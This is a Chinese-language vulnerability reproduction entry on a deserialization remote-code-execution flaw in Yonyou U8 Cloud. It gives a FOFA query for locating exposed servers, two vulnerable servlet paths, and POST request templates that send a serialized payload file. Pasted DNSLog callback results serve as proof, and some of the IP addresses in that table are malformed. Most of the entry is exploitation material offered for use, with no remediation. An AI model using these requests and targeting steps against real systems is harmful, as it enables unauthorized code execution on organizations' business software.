

## Y3-34用友-U8-Cloud-反序列化RCE

### 漏洞描述：

用友U8 Cloud存在多处（FileManageServlet和LoginVideoServlet）反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作，结合系统本身存在的反序列化利用链，最终造成远程代码执行。

### 影响版本：

用友U8 Cloud 所有版本

### 网站图片：

 | [下载页面](#)

请下载新版UClient  
开启U8 cloud云端之旅

立即下载 ↓



### 网络测绘：

#### fofa语法：

FOFA: app="用友-U8-Cloud"

### 漏洞复现：

两处接口的反序列化漏洞路径：

```
/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet  
/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet
```

payload:

```
POST /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet HTTP/1.1  
Host: your-ip  
Content-Type: *
```

```
{{file(C:\Users\m1813\Desktop\4.ser)}}
```

```
POST /servlet/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1  
Host: your-ip  
Content-Type: *
```

```
{{file(C:\Users\m1813\Desktop\4.ser)}}
```

PS：里面生成序列化数据文件的路径自行修改

效果图：



DNSLog

WebLog

API

Rebind

Payloads

l4z6nq7>

域名

搜索

子域名: dnslog.pw

☐ 监视刷新

ID	域名	Type	IP	位置	时间	操作
21460277	root.l4z6nq7.dnslog.pw	A	192.168.35.153.118		2023-11-07 22:40:33	删除
21460276	root.l4z6nq7.dnslog.pw	A	192.168.2.14.2		2023-11-07 22:40:32	删除
21460275	root.l4z6nq7.dnslog.pw	A	192.168.2.6.7		2023-11-07 22:40:32	删除
21460274	root.l4z6nq7.dnslog.pw	A	192.168.6.237		2023-11-07 22:40:32	删除
21460272	root.l4z6nq7.dnslog.pw	A	192.168.5.237		2023-11-07 22:40:32	删除
21460271	root.l4z6nq7.dnslog.pw	A	192.168.2.14.2		2023-11-07 22:40:32	删除
21460270	root.l4z6nq7.dnslog.pw	A	192.168.5.237		2023-11-07 22:40:31	删除
21460269	root.l4z6nq7.dnslog.pw	A	192.168.2.14.2		2023-11-07 22:40:31	删除